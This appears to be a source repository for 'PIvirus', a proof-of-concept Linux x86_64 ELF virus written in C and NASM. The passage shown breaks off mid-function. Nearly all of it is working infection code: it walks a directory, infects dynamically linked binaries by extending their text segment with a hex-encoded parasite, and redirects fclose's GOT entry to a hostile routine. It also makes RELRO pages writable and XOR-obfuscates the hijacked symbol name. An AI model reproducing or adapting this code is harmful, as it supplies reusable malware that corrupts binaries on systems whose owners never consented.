├── Makefile
├── README.md
├── hostile.asm
└── pivirus.c
/Makefile:
--------------------------------------------------------------------------------
1 | CC= gcc
2 | CFLAGS= -nostdlib -nostartfiles -fPIC -fomit-frame-pointer
3 | ASM= nasm
4 | ASMFLAGS= -f elf64
5 |
6 | all: hostile pivirus
7 |
8 | hostile: hostile.s
9 | $(ASM) $(ASMFLAGS) -o hostile.o hostile.s
10 |
11 | pivirus: pivirus.c
12 | $(CC) pivirus.c hostile.o $(CFLAGS) -o pivirus
13 |
14 | clean:
15 | rm *.o
16 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # PIvirus
2 |
3 | PIvirus is a proof of concept for infecting linux x86_64 ELF binaries using PLT redirection technique
4 |
5 | ## How it works
6 |
7 | - the virus looks for **fclose** function and hijacks it with a function that writes garbage from the stack to the stdout
8 |
9 | - the virus will infect x86_64 ELF binaries with the type **[ ET_DYN || ET_EXEC ]**
10 |
11 | - parasite injection is done by extending the text segment
12 |
13 | - PLT redirection happens at runtime and the virus is able to handle binaries which does not apply lazy binding
14 |
15 | ## Usage
16 |
17 | ``` #./pivirus [ target directory ] ```
18 |
19 |
20 |
21 |
22 |
23 | ## License
24 |
25 | MIT
26 |
--------------------------------------------------------------------------------
/hostile.asm:
--------------------------------------------------------------------------------
1 | %define ZERO_ARGS 0x0
2 | %define WRITE_SYSCALL_NUM 0x1
3 | %define STDOUT_FILENO 0x1
4 | %define BUF_LEN 0x1
5 | %define LOOP_COUNTER 0x8000
6 | %define RANDOM_NUM 0x100
7 |
8 | %macro do_write_syscall ZERO_ARGS
9 | mov rdi, STDOUT_FILENO
10 | mov rdx, BUF_LEN
11 | mov rax, WRITE_SYSCALL_NUM
12 | syscall
13 | %endmacro
14 |
15 | %macro func_ret ZERO_ARGS
16 | xor rax, rax
17 | ret
18 | %endmacro
19 |
20 | %macro save_regs ZERO_ARGS
21 | push rbx
22 | push rdx
23 | push rcx
24 | push rdi
25 | push rsi
26 | push r8
27 | push r9
28 | push r10
29 | %endmacro
30 |
31 | %macro restore_regs ZERO_ARGS
32 | pop r10
33 | pop r9
34 | pop r8
35 | pop rsi
36 | pop rdi
37 | pop rcx
38 | pop rdx
39 | pop rbx
40 | %endmacro
41 |
42 | %macro clear_regs ZERO_ARGS
43 | xor rax,rax
44 | xor rbx,rbx
45 | xor rcx,rcx
46 | xor rdx,rdx
47 | xor rdi,rdi
48 | xor rsi,rsi
49 | xor r8,r8
50 | xor r9,r9
51 | xor r10,r10
52 | %endmacro
53 |
54 |
55 | section .text
56 |
57 | global pi_hostile_fclose, pi_get_hostile_len
58 |
59 |
60 | pi_hostile_fclose:
61 |
62 |
63 | save_regs
64 | clear_regs
65 |
66 | push RANDOM_NUM
67 |
68 | lea rsi, [ rsp ]
69 |
70 | mov rcx, LOOP_COUNTER
71 |
72 | loop_start:
73 |
74 | inc byte [ rsi ]
75 |
76 | push rcx
77 |
78 | do_write_syscall
79 |
80 | pop rcx
81 |
82 | loop loop_start
83 |
84 | loop_end:
85 |
86 | pop rax
87 | restore_regs
88 | func_ret
89 |
90 |
91 | pi_hostile_fclose_end:
92 |
93 |
94 | pi_get_hostile_len:
95 |
96 | mov rax, pi_hostile_fclose_end - pi_hostile_fclose
97 | ret
98 |
--------------------------------------------------------------------------------
/pivirus.c:
--------------------------------------------------------------------------------
1 | #include
2 | #include
3 | #include
4 | #include
5 | #include
6 | #include
7 | #include
8 | #include
9 | #include
10 | #include
11 |
12 |
13 | #define _4KB_PAGE 0x1000
14 | #define _4KB_OFFSET_MASK 0xfff
15 | #define PAGE_SIZE _4KB_PAGE
16 | #define PAGE_OFFSET_MASK _4KB_OFFSET_MASK
17 |
18 | #define PAGE_ALIGN_LOW(vaddr) ((vaddr) & ~PAGE_OFFSET_MASK)
19 | #define PAGE_ALIGN_HIGH(vaddr) (PAGE_ALIGN_LOW(vaddr) + PAGE_SIZE)
20 | #define VADDR_OFFSET(vaddr) ((vaddr) & PAGE_OFFSET_MASK)
21 |
22 |
23 | #define PI_MM_ALLOCATED 0x1
24 | #define PI_MM_FREE 0x0
25 | #define PI_MM_POOL_SZ 0x8000
26 | #define PI_POISON_PTR 0x0
27 |
28 | #define STRING_EQUAL 0x0
29 | #define STRING_NOT_EQUAL !STRING_EQUAL
30 |
31 | #define MEM_EQUAL 0x0
32 | #define MEM_NOT_EQUAL !MEM_EQUAL
33 |
34 | #define DIRENTS_BUF_SIZE 0x8000
35 |
36 |
37 | #define PARASITE_ENTRY_SIZE 0x1b
38 | #define PARASITE_OFFSET_1 0x1f
39 | #define PARASITE_OFFSET_2 0x26
40 | #define PARASITE_OFFSET_3 0x2b
41 | #define PARASITE_OFFSET_4 0x50
42 | #define PARASITE_OFFSET_5 0x54
43 | #define PARASITE_LEN 0x60
44 |
45 | #define PI_XOR_KEY 0x78
46 |
47 | #define PI_OPERATION_SUCCESS 0
48 | #define PI_OPERATION_ERROR -1
49 |
50 | #define PI_SIGNATURE 0x10
51 |
52 | #define inline_function __attribute__((always_inline)) inline
53 |
54 |
55 | #define pi_check_syscall_fault(x) \
56 | if ((int64_t)x < 0) \
57 | return PI_OPERATION_ERROR \
58 |
59 | /*
60 | * macro functions to avoid code repeating
61 | */
62 | #define pi_define_syscall_1(syscall_name,syscall_num,type1,arg1) \
63 | int64_t pi_##syscall_name(type1 arg1) \
64 | { \
65 | int64_t __ret; \
66 | \
67 | __asm__ volatile \
68 | ( \
69 | "movq %0,%%rdi \n" \
70 | "movq $"#syscall_num",%%rax \n" \
71 | "syscall \n" \
72 | : \
73 | : "g" (arg1) \
74 | ); \
75 | \
76 | __asm__ \
77 | ( \
78 | "movq %%rax,%0" \
79 | : "=g" (__ret) \
80 | ); \
81 | \
82 | return __ret; \
83 | }
84 |
85 | #define pi_define_syscall_2(syscall_name,syscall_num,type1,arg1,type2,arg2) \
86 | int64_t pi_##syscall_name(type1 arg1,type2 arg2) \
87 | { \
88 | int64_t __ret; \
89 | \
90 | __asm__ volatile \
91 | ( \
92 | "movq %0,%%rdi \n" \
93 | "movq %1,%%rsi \n" \
94 | "movq $"#syscall_num",%%rax \n" \
95 | "syscall" \
96 | : \
97 | : "g" (arg1), "g" (arg2) \
98 | ); \
99 | \
100 | __asm__ \
101 | ( \
102 | "movq %%rax,%0" \
103 | : "=g" (__ret) \
104 | ); \
105 | \
106 | return __ret; \
107 | }
108 |
109 | #define pi_define_syscall_3(syscall_name,syscall_num,type1,arg1,type2,arg2,type3,arg3) \
110 | int64_t pi_##syscall_name(type1 arg1,type2 arg2,type3 arg3) \
111 | { \
112 | int64_t __ret; \
113 | \
114 | __asm__ volatile \
115 | ( \
116 | "movq %0,%%rdi \n" \
117 | "movq %1,%%rsi \n" \
118 | "movq %2,%%rdx \n" \
119 | "movq $"#syscall_num",%%rax \n" \
120 | "syscall" \
121 | : \
122 | : "g" (arg1), "g" (arg2), "g" (arg3) \
123 | ); \
124 | \
125 | __asm__ \
126 | ( \
127 | "movq %%rax,%0" \
128 | : "=g" (__ret) \
129 | ); \
130 | \
131 | return __ret; \
132 | }
133 |
134 |
135 |
136 | char fclose_xor_encoded[] = "\x1e\x1b\x14\x17\x0b\x1d";
137 |
138 |
139 | char parasite[] =
140 | "\x50\x53\x57\x56\x52\x51\x55"
141 | "\x48\x31\xc0"
142 | "\x48\x31\xdb"
143 | "\x48\x31\xd2"
144 | "\x48\x31\xc9"
145 | "\x48\x31\xed"
146 | "\xe8\x41\x00\x00\x00"
147 | "\x5f"
148 | "\x48\x81\xef\x41\x41\x41\x41"
149 | "\x48\x81\xc7\x43\x43\x43\x43"
150 | "\xbe\x42\x42\x42\x42"
151 | "\xba\x01\x00\x00\x00"
152 | "\x48\x83\xca\x02"
153 | "\x48\x83\xca\x04"
154 | "\xb8\x0a\x00\x00\x00"
155 | "\x0f\x05"
156 | "\xe8\x16\x00\x00\x00"
157 | "\x58"
158 | "\x48\x83\xc0\x18"
159 | "\x48\x89\x05\x0c\x00\x00\x00"
160 | "\x5d\x59\x5a\x5e\x5f\x5b\x58\xc3"
161 | "\xeb\xbd"
162 | "\xeb\xe8";
163 |
164 |
165 | typedef struct start_args
166 | {
167 | #define DUMMY_SIZE 8 //force arguments to be on stack
168 | char *argv[DUMMY_SIZE];
169 | }start_args_t;
170 |
171 | typedef struct malloc_header
172 | {
173 | uint32_t stat;
174 | uint32_t size;
175 | struct malloc_header *next;
176 | }malloc_header_t;
177 |
178 |
179 | typedef struct mman
180 | {
181 | uint8_t *mm_pool_start;
182 | uint8_t *mm_pool_end;
183 | uint8_t *mm_cur_brk;
184 | malloc_header_t *malloc_head;
185 | }mman_t;
186 |
187 | typedef struct linux_dirent64
188 | {
189 | uint64_t d_ino;
190 | uint64_t d_off;
191 | uint16_t d_reclen;
192 | uint8_t d_type;
193 | char d_name[];
194 | }linux_dirent64_t;
195 |
196 | typedef struct targetfunc
197 | {
198 | uint64_t func_got;
199 | uint64_t func_name_len;
200 | uint8_t *func_name;
201 | }targetfunc_t;
202 |
203 | typedef struct hostilefunc
204 | {
205 | uint64_t hostile_addr;
206 | uint64_t hostile_len;
207 | }hostilefunc_t;
208 |
209 |
210 | typedef struct elfstructs
211 | {
212 | Elf64_Ehdr *ehdr;
213 | Elf64_Phdr *phdr;
214 | Elf64_Phdr *textphdr;
215 | Elf64_Shdr *shdr;
216 | Elf64_Sym *dyn_symtab;
217 | Elf64_Dyn *dynseg;
218 | Elf64_Rela *rela;
219 | Elf64_Addr *pltgot;
220 | Elf64_Rela *pltrela;
221 | Elf64_Xword relasz;
222 | Elf64_Xword pltrelsz;
223 | Elf64_Addr *initarray;
224 | Elf64_Addr gnureloc_start;
225 | Elf64_Xword gnureloc_sz;
226 | uint8_t *dyn_strtab;
227 | }elfstructs_t;
228 |
229 |
230 | typedef struct loadsegments
231 | {
232 | Elf64_Addr code_vaddr;
233 | Elf64_Addr data_vaddr;
234 | Elf64_Off code_offset;
235 | Elf64_Off data_offset;
236 | Elf64_Xword code_size;
237 | Elf64_Xword data_size;
238 | }loadsegments_t;
239 |
240 |
241 | typedef struct elf_flags
242 | {
243 | uint64_t bind_now;
244 | }elf_flags_t;
245 |
246 |
247 | typedef struct target_elf
248 | {
249 | const char *name;
250 | uint8_t *mmap;
251 | int64_t fd;
252 | uint64_t filehole;
253 | elfstructs_t elfstructs;
254 | loadsegments_t loadsegments;
255 | hostilefunc_t hostilefunc;
256 | targetfunc_t targetfunc;
257 | elf_flags_t elf_flags;
258 | struct stat stat;
259 | }target_elf_t;
260 |
261 |
262 |
263 | target_elf_t *target_elf;
264 | mman_t mman;
265 |
266 |
267 |
268 | extern uint64_t pi_hostile_fclose(void);
269 | extern uint64_t pi_get_hostile_len(void);
270 |
271 |
272 | pi_define_syscall_1(close,3,int64_t,fd)
273 |
274 | pi_define_syscall_1(chdir,80,const char *,path)
275 |
276 | pi_define_syscall_1(exit,60,uint64_t,exit_stat);
277 |
278 | pi_define_syscall_2(fstat,5,int64_t,fd,struct stat *,stat_struct)
279 |
280 | pi_define_syscall_2(rename,82,const char *,old_name,const char *,new_name)
281 |
282 | pi_define_syscall_2(chmod,90,const char *,filename,int64_t,mode)
283 |
284 | pi_define_syscall_2(munmap,11,uint64_t,addr,uint64_t,size);
285 |
286 | pi_define_syscall_3(open,2,const char *,path,int64_t,flags,int64_t,mode)
287 |
288 | pi_define_syscall_3(read,0,int64_t,fd,void *,buf,uint64_t,count)
289 |
290 | pi_define_syscall_3(write,1,int64_t,fd,const char *,buf,uint64_t,count)
291 |
292 | pi_define_syscall_3(mprotect,10,void *,addr,uint64_t,len,int64_t,prot)
293 |
294 | pi_define_syscall_3(getdents64,217,int64_t,fd,char *,buf,uint64_t,buf_sz)
295 |
296 | pi_define_syscall_3(lseek,8,int64_t,fd,int64_t,offset,int64_t,whence)
297 |
298 |
299 | void *pi_mmap(void *addr,uint64_t len,int64_t prot,int64_t flags,int64_t fd,int64_t offset)
300 | {
301 | uint64_t __ret;
302 |
303 | __asm__ volatile
304 | (
305 | "movq $9,%%rax \n"
306 | "movq %0,%%rdi \n"
307 | "movq %1,%%rsi \n"
308 | "movq %2,%%rdx \n"
309 | "movq %3,%%r10 \n"
310 | "movq %4,%%r8 \n"
311 | "movq %5,%%r9 \n"
312 | "syscall"
313 | :
314 | : "g" (addr), "g" (len), "g" (prot), "g" (flags), "g" (fd), "g" (offset)
315 | );
316 |
317 | __asm__
318 | (
319 | "movq %%rax,%0"
320 | : "=g" (__ret)
321 | );
322 |
323 | return (void *)(__ret);
324 |
325 | }
326 |
327 |
328 |
329 |
330 | inline_function void pi_strcpy(char *dest,const char *src)
331 | {
332 | while (*src) *dest++ = *src++;
333 | *dest = *src;
334 | }
335 |
336 |
337 | inline_function uint64_t pi_strlen(const char *str)
338 | {
339 | uint64_t len = 0;
340 |
341 | while (*str++) ++len;
342 |
343 | return len;
344 | }
345 |
346 | inline_function void pi_memcpy(void *dest,void *src,uint64_t len)
347 | {
348 | while(len--) *((uint8_t *)dest++) = *((uint8_t *)src++);
349 | }
350 |
351 | inline_function int64_t pi_memcmp(void *mem1,void *mem2,uint64_t len)
352 | {
353 | while (len--)
354 | {
355 | if (*((uint8_t *)mem1++) != *((uint8_t *)mem2++))
356 | return MEM_NOT_EQUAL;
357 | }
358 |
359 | return MEM_EQUAL;
360 | }
361 |
362 | inline_function void pi_memset(void *mem,uint8_t val,uint64_t len)
363 | {
364 | while (len--) *((uint8_t *)mem++) = val;
365 | }
366 |
367 | void pi_puts(const char *str)
368 | {
369 | pi_write(STDOUT_FILENO,str,pi_strlen(str));
370 | }
371 |
372 | /*
373 | * gets a memory pool that will be used by pi_malloc
374 | */
375 | int64_t pi_mm_getpool(void)
376 | {
377 | mman.mm_pool_start = pi_mmap(NULL,PI_MM_POOL_SZ,PROT_WRITE | PROT_READ,MAP_ANONYMOUS | MAP_PRIVATE,-1,0);
378 | pi_check_syscall_fault(mman.mm_pool_start);
379 |
380 | mman.mm_pool_end = mman.mm_pool_start + PI_MM_POOL_SZ;
381 |
382 | mman.mm_cur_brk = mman.mm_pool_start;
383 |
384 | return PI_OPERATION_SUCCESS;
385 | }
386 |
387 | void *pi_sbrk(uint32_t size)
388 | {
389 | void *tmp;
390 |
391 | tmp = (void *)mman.mm_cur_brk;
392 |
393 | mman.mm_cur_brk += size;
394 |
395 | if (mman.mm_cur_brk > mman.mm_pool_end)
396 | return NULL;
397 |
398 | return tmp;
399 | }
400 |
401 | void *pi_malloc(uint32_t size)
402 | {
403 | malloc_header_t *tmp1, *tmp2, *tmp3, *tmp4;
404 |
405 | if (!mman.malloc_head)
406 | {
407 | mman.malloc_head = pi_sbrk(size + sizeof(malloc_header_t));
408 |
409 | if (mman.malloc_head == PI_POISON_PTR)
410 | return (void *)PI_POISON_PTR;
411 |
412 | mman.malloc_head->stat = PI_MM_ALLOCATED;
413 | mman.malloc_head->size = size;
414 | mman.malloc_head->next = PI_POISON_PTR;
415 |
416 |
417 | return (void *)(mman.malloc_head + 1);
418 | }
419 |
420 | //search for free block with bsize >= size
421 | tmp1 = mman.malloc_head;
422 | while (tmp1)
423 | {
424 | if ((tmp1->stat == PI_MM_FREE) && (tmp1->size >= size))
425 | {
426 | if (tmp1->size > size)
427 | {
428 | //divide the block
429 | tmp3 = (malloc_header_t *)( (uint8_t *)( tmp1 + 1) + size );
430 | tmp3->stat = PI_MM_ALLOCATED;
431 | tmp3->size = tmp1->size - size;
432 | tmp3->next = tmp1->next;
433 | tmp1->next = tmp3;
434 | goto __ret;
435 | }
436 | tmp1->stat = PI_MM_ALLOCATED;
437 | __ret:
438 | return (void *)(tmp1 + 1);
439 | }
440 | tmp4 = tmp1;
441 | tmp1 = tmp1->next;
442 | }
443 |
444 | tmp2 = pi_sbrk(size + sizeof(malloc_header_t));
445 |
446 | if (tmp2 == PI_POISON_PTR)
447 | return (void *)PI_POISON_PTR;
448 |
449 | tmp2->size = size;
450 | tmp2->stat = PI_MM_ALLOCATED;
451 | tmp2->next = PI_POISON_PTR;
452 |
453 | tmp4->next = tmp2;
454 |
455 | pi_memset(tmp2 + 1,0x0,tmp2->size);
456 |
457 | return (void *)(tmp2 + 1);
458 | }
459 |
460 | /*
461 | * a simple free that just frees the block at the given address
462 | * there is no adjacent free blocks coalescing
463 | */
464 | void pi_free(void *ptr)
465 | {
466 | malloc_header_t *tmp1;
467 |
468 | tmp1 = (malloc_header_t *)ptr - 1;
469 | tmp1->stat = PI_MM_FREE;
470 |
471 | pi_memset(tmp1 + 1,0x0,tmp1->size);
472 | }
473 |
474 |
475 | inline_function void pi_xor_mem(void *mem,uint64_t len,uint8_t xor_key)
476 | {
477 | while (len--) *((uint8_t *)mem++) ^= xor_key;
478 | }
479 |
480 |
481 |
482 | int64_t pi_check_target(void)
483 | {
484 | Elf64_Ehdr *ehdr;
485 | Elf64_Phdr *phdr;
486 | char elfmag[] = ELFMAG;
487 | uint64_t dyn_linked = 0;
488 |
489 |
490 | target_elf->fd = pi_open(target_elf->name,O_RDWR,0);
491 | pi_check_syscall_fault(target_elf->fd);
492 |
493 | pi_check_syscall_fault(pi_fstat(target_elf->fd,&target_elf->stat));
494 |
495 | target_elf->mmap = pi_mmap(NULL,
496 | target_elf->stat.st_size,
497 | PROT_READ | PROT_WRITE,
498 | MAP_SHARED,
499 | target_elf->fd,
500 | 0);
501 | pi_check_syscall_fault(target_elf->mmap);
502 |
503 | ehdr = (Elf64_Ehdr *)target_elf->mmap;
504 | phdr = (Elf64_Phdr *)(target_elf->mmap + ehdr->e_phoff);
505 |
506 | if (pi_memcmp(target_elf->mmap,elfmag,SELFMAG) == MEM_NOT_EQUAL)
507 | return PI_OPERATION_ERROR;
508 |
509 | //binary is infected before ?
510 | if (ehdr->e_ident[EI_OSABI] == PI_SIGNATURE)
511 | return PI_OPERATION_ERROR;
512 |
513 | if (!((ehdr->e_type == ET_EXEC) || (ehdr->e_type == ET_DYN)))
514 | return PI_OPERATION_ERROR;
515 |
516 | for (uint64_t i = 0; i < ehdr->e_phnum; ++i,++phdr)
517 | {
518 | if (phdr->p_type != PT_DYNAMIC)
519 | continue;
520 | dyn_linked = 1;
521 | }
522 |
523 | if (!dyn_linked)
524 | return PI_OPERATION_ERROR;
525 |
526 | return PI_OPERATION_SUCCESS;
527 | }
528 |
529 |
530 | void pi_do_init(void)
531 | {
532 | Elf64_Phdr *tmp_phdr;
533 | Elf64_Shdr *tmp_shdr;
534 | Elf64_Dyn *tmp_dynseg;
535 | Elf64_Sym *tmp_dynsym;
536 | Elf64_Addr target_code_vaddr, target_data_vaddr;
537 | Elf64_Off target_code_offset, target_data_offset;
538 |
539 | target_elf->elfstructs.ehdr = (Elf64_Ehdr *)target_elf->mmap;
540 | target_elf->elfstructs.phdr = (Elf64_Phdr *)(target_elf->mmap + target_elf->elfstructs.ehdr->e_phoff);
541 | target_elf->elfstructs.shdr = (Elf64_Shdr *)(target_elf->mmap + target_elf->elfstructs.ehdr->e_shoff);
542 |
543 |
544 | tmp_phdr = target_elf->elfstructs.phdr;
545 | for (Elf64_Half i = 0; i < target_elf->elfstructs.ehdr->e_phnum; ++i, ++tmp_phdr)
546 | {
547 | switch (tmp_phdr->p_type)
548 | {
549 | case PT_LOAD:
550 | if (tmp_phdr->p_flags & PF_X)
551 | {
552 | target_elf->loadsegments.code_vaddr = tmp_phdr->p_vaddr;
553 | target_elf->loadsegments.code_offset = tmp_phdr->p_offset;
554 | target_elf->loadsegments.code_size = tmp_phdr->p_memsz;
555 | target_elf->elfstructs.textphdr = tmp_phdr;
556 |
557 | target_code_vaddr = target_elf->loadsegments.code_vaddr;
558 | target_code_offset = target_elf->loadsegments.code_offset;
559 |
560 | }
561 | target_elf->loadsegments.data_vaddr = tmp_phdr->p_vaddr;
562 | target_elf->loadsegments.data_offset = tmp_phdr->p_offset;
563 |
564 | target_data_vaddr = target_elf->loadsegments.data_vaddr;
565 | target_data_offset = target_elf->loadsegments.data_offset;
566 | break;
567 |
568 | case PT_DYNAMIC:
569 | target_elf->elfstructs.dynseg = (Elf64_Dyn *)(target_elf->mmap + tmp_phdr->p_offset);
570 | break;
571 |
572 | case PT_GNU_RELRO:
573 | target_elf->elfstructs.gnureloc_sz = tmp_phdr->p_memsz;
574 | target_elf->elfstructs.gnureloc_start = tmp_phdr->p_vaddr - target_elf->elfstructs.textphdr->p_vaddr;
575 | break;
576 | }
577 | }
578 |
579 | tmp_dynseg = target_elf->elfstructs.dynseg;
580 | for (; tmp_dynseg->d_tag != DT_NULL; ++tmp_dynseg)
581 | {
582 | switch (tmp_dynseg->d_tag)
583 | {
584 | case DT_SYMTAB:
585 | target_elf->elfstructs.dyn_symtab = (Elf64_Sym *)(target_elf->mmap + target_code_offset +
586 | (tmp_dynseg->d_un.d_ptr - target_code_vaddr));
587 | break;
588 |
589 | case DT_STRTAB:
590 | target_elf->elfstructs.dyn_strtab = target_elf->mmap + target_code_offset +
591 | (tmp_dynseg->d_un.d_ptr - target_code_vaddr);
592 | break;
593 |
594 | case DT_JMPREL:
595 | target_elf->elfstructs.pltrela = (Elf64_Rela *)(target_elf->mmap + target_code_offset +
596 | (tmp_dynseg->d_un.d_ptr - target_code_vaddr));
597 | break;
598 |
599 | case DT_PLTGOT:
600 | target_elf->elfstructs.pltgot = (Elf64_Addr *)(target_elf->mmap + target_data_offset +
601 | (tmp_dynseg->d_un.d_ptr - target_data_vaddr));
602 | case DT_RELA:
603 | target_elf->elfstructs.rela = (Elf64_Rela *)(target_elf->mmap + target_code_offset +
604 | (tmp_dynseg->d_un.d_ptr - target_code_vaddr));
605 | break;
606 |
607 | case DT_RELASZ:
608 | target_elf->elfstructs.relasz = tmp_dynseg->d_un.d_val;
609 | break;
610 |
611 | case DT_PLTRELSZ:
612 | target_elf->elfstructs.pltrelsz = tmp_dynseg->d_un.d_val;
613 | break;
614 |
615 | case DT_FLAGS_1:
616 | if (tmp_dynseg->d_un.d_val & DF_1_NOW)
617 | ++target_elf->elf_flags.bind_now;
618 | break;
619 |
620 | case DT_INIT_ARRAY:
621 | target_elf->elfstructs.initarray = (Elf64_Addr *)(target_elf->mmap + (tmp_dynseg->d_un.d_ptr -
622 | target_data_vaddr + target_data_offset));
623 | break;
624 | }
625 | }
626 |
627 | target_elf->hostilefunc.hostile_addr = (uint64_t)pi_hostile_fclose;
628 | target_elf->hostilefunc.hostile_len = pi_get_hostile_len();
629 |
630 | }
631 |
632 |
633 | int32_t pi_symbol_lookup(void)
634 | {
635 | char *dynstrtab;
636 | char *sym_name;
637 | Elf64_Rela *rel;
638 | Elf64_Xword relsz;
639 | Elf64_Sym *dynsymtab;
640 |
641 |
642 | if (target_elf->elf_flags.bind_now && !target_elf->elfstructs.pltrela)
643 | {
644 | rel = target_elf->elfstructs.rela;
645 | relsz = target_elf->elfstructs.relasz;
646 |
647 | }else
648 | {
649 | rel = target_elf->elfstructs.pltrela;
650 | relsz = target_elf->elfstructs.pltrelsz;
651 | }
652 |
653 |
654 | dynsymtab = target_elf->elfstructs.dyn_symtab;
655 | dynstrtab = target_elf->elfstructs.dyn_strtab;
656 |
657 | target_elf->targetfunc.func_name_len = pi_strlen(fclose_xor_encoded);
658 | target_elf->targetfunc.func_name = pi_malloc(target_elf->targetfunc.func_name_len);
659 |
660 | pi_memcpy(target_elf->targetfunc.func_name,
661 | fclose_xor_encoded,
662 | target_elf->targetfunc.func_name_len);
663 |
664 | pi_xor_mem(target_elf->targetfunc.func_name,
665 | target_elf->targetfunc.func_name_len,
666 | PI_XOR_KEY);
667 |
668 |
669 | for (Elf64_Xword i = 0; i < (relsz / sizeof(Elf64_Rela)); ++i, ++rel)
670 | {
671 | sym_name = &dynstrtab[dynsymtab[ELF64_R_SYM(rel->r_info)].st_name];
672 | if (pi_memcmp(sym_name,target_elf->targetfunc.func_name,target_elf->targetfunc.func_name_len) == MEM_EQUAL)
673 | target_elf->targetfunc.func_got = (Elf64_Addr)rel->r_offset;
674 | }
675 |
676 | pi_free(target_elf->targetfunc.func_name);
677 |
678 | if (!target_elf->targetfunc.func_got)
679 | return PI_OPERATION_ERROR;
680 |
681 | return PI_OPERATION_SUCCESS;
682 | }
683 |
684 |
685 |
686 | /*
687 | * flcose's GOT entry hijacking is done @ runtime with the following algorithm:
688 | * - let r be any register
689 | * - (r) holds hostile function address
690 | * - [ fclose_got_entry_offset + rip ] <- r , let this instruction's address be #modify_got
691 | * - [ addr ] is the address of the next instruction that modifies the GOT entry (the next to [#modify_got])
692 | * - [ diff ] is the offset between the target GOT entry and [ addr ]
693 | *
694 | * - so it will be like this
695 | * - mov $address_of_hostile, diff(%rip)
696 | *
697 | * the parasite takes care of ELF binaries that have the BIND_NOW flag so the entry of the parasite
698 | * mprotects the GNU_RELRO PAGES to be writeable
699 | */
700 |
701 | void pi_edit_parasite(void)
702 | {
703 | uint64_t diff, addr, var1, var2, var3;
704 |
705 | var1 = target_elf->loadsegments.code_size + PARASITE_ENTRY_SIZE;
706 |
707 | var2 = PAGE_ALIGN_LOW(target_elf->elfstructs.gnureloc_start);
708 |
709 | var3 = target_elf->elfstructs.gnureloc_sz;
710 |
711 | addr = target_elf->loadsegments.code_vaddr +
712 | target_elf->loadsegments.code_size +
713 | PARASITE_OFFSET_5;
714 |
715 | diff = target_elf->targetfunc.func_got - addr;
716 |
717 | *((uint32_t *)¶site[PARASITE_OFFSET_1]) = (uint32_t)var1;
718 | *((uint32_t *)¶site[PARASITE_OFFSET_2]) = (uint32_t)var2;
719 | *((uint32_t *)¶site[PARASITE_OFFSET_3]) = (uint32_t)var3;
720 | *((uint32_t *)¶site[PARASITE_OFFSET_4]) = (uint32_t)diff;
721 | }
722 |
723 | int64_t pi_create_infected_clone(void)
724 | {
725 | char tmpfile[] = "/tmp/.tmp.PI314X_OC";
726 | char buf[PAGE_SIZE];
727 | int64_t tmpfile_fd, syscall_ret;
728 | int64_t infected_clone_mode, tmpfile_mode;
729 | uint64_t buf1_sz, buf2_sz, buf3_sz;
730 |
731 | //mark binary as infected
732 | target_elf->elfstructs.ehdr->e_ident[EI_OSABI] = PI_SIGNATURE;
733 |
734 | tmpfile_mode = S_IRUSR | S_IWUSR;
735 | infected_clone_mode = tmpfile_mode | S_IXUSR;
736 |
737 | tmpfile_fd = pi_open(tmpfile,O_CREAT | O_RDWR,tmpfile_mode);
738 | pi_check_syscall_fault(tmpfile_fd);
739 |
740 | buf1_sz = target_elf->loadsegments.code_offset +
741 | target_elf->loadsegments.code_size +
742 | target_elf->filehole;
743 |
744 | buf2_sz = ( PARASITE_LEN + target_elf->hostilefunc.hostile_len ) > target_elf->filehole ? PAGE_SIZE : 0;
745 |
746 | buf3_sz = target_elf->stat.st_size - buf1_sz;
747 |
748 | syscall_ret = pi_write(tmpfile_fd,target_elf->mmap,buf1_sz);
749 | pi_check_syscall_fault(syscall_ret);
750 |
751 | syscall_ret = pi_write(tmpfile_fd,buf,buf2_sz);
752 | pi_check_syscall_fault(syscall_ret);
753 |
754 | syscall_ret = pi_write(tmpfile_fd,target_elf->mmap + buf1_sz,buf3_sz);
755 | pi_check_syscall_fault(syscall_ret);
756 |
757 | syscall_ret = pi_lseek(tmpfile_fd,
758 | target_elf->loadsegments.code_offset +
759 | target_elf->loadsegments.code_size,
760 | SEEK_SET);
761 | pi_check_syscall_fault(syscall_ret);
762 |
763 | syscall_ret = pi_write(tmpfile_fd,parasite,PARASITE_LEN);
764 | pi_check_syscall_fault(syscall_ret);
765 |
766 | syscall_ret = pi_write(tmpfile_fd,
767 | (const char *)target_elf->hostilefunc.hostile_addr,
768 | target_elf->hostilefunc.hostile_len);
769 | pi_check_syscall_fault(syscall_ret);
770 |
771 | syscall_ret = pi_close(tmpfile_fd);
772 | pi_check_syscall_fault(syscall_ret);
773 |
774 | syscall_ret = pi_chmod(tmpfile,infected_clone_mode);
775 | pi_check_syscall_fault(syscall_ret);
776 |
777 | syscall_ret = pi_rename(tmpfile,target_elf->name);
778 | pi_check_syscall_fault(syscall_ret);
779 |
780 | return PI_OPERATION_SUCCESS;
781 | }
782 |
783 | void pi_infect_target(void)
784 | {
785 | Elf64_Phdr *elfphdr;
786 | Elf64_Shdr *elfshdr;
787 | Elf64_Rela *elfrela;
788 | Elf64_Addr target_code_vaddr, target_data_vaddr;
789 | Elf64_Off target_code_offset, target_data_offset;
790 | Elf64_Xword target_code_size, target_data_size;
791 | uint64_t flag, parasite_len, off, addr;
792 | uint8_t old_osabi;
793 |
794 | if (pi_check_target() == PI_OPERATION_ERROR)
795 | goto target_cleanup;
796 |
797 | pi_do_init();
798 |
799 | if (pi_symbol_lookup() == PI_OPERATION_ERROR)
800 | goto target_cleanup;
801 |
802 |
803 | elfphdr = target_elf->elfstructs.phdr;
804 | elfshdr = target_elf->elfstructs.shdr;
805 | elfrela = target_elf->elfstructs.rela;
806 |
807 | target_code_vaddr = target_elf->loadsegments.code_vaddr;
808 | target_data_vaddr = target_elf->loadsegments.data_vaddr;
809 |
810 | target_code_offset = target_elf->loadsegments.code_offset;
811 | target_data_offset = target_elf->loadsegments.data_offset;
812 |
813 | target_code_size = target_elf->loadsegments.code_size;
814 | target_data_size = target_elf->loadsegments.data_size;
815 |
816 | flag = 1;
817 | parasite_len = PARASITE_LEN;
818 |
819 | if ((parasite_len + target_elf->hostilefunc.hostile_len) >
820 | (PAGE_SIZE - VADDR_OFFSET(target_code_vaddr + target_code_size)))
821 | return;
822 |
823 |
824 | for (Elf64_Half i = 0; i < target_elf->elfstructs.ehdr->e_phnum; ++i, ++elfphdr)
825 | {
826 | if (elfphdr->p_offset > (target_code_offset + target_code_size))
827 | {
828 | if (flag)
829 | {
830 | target_elf->filehole = elfphdr->p_offset - (target_code_offset + target_code_size);
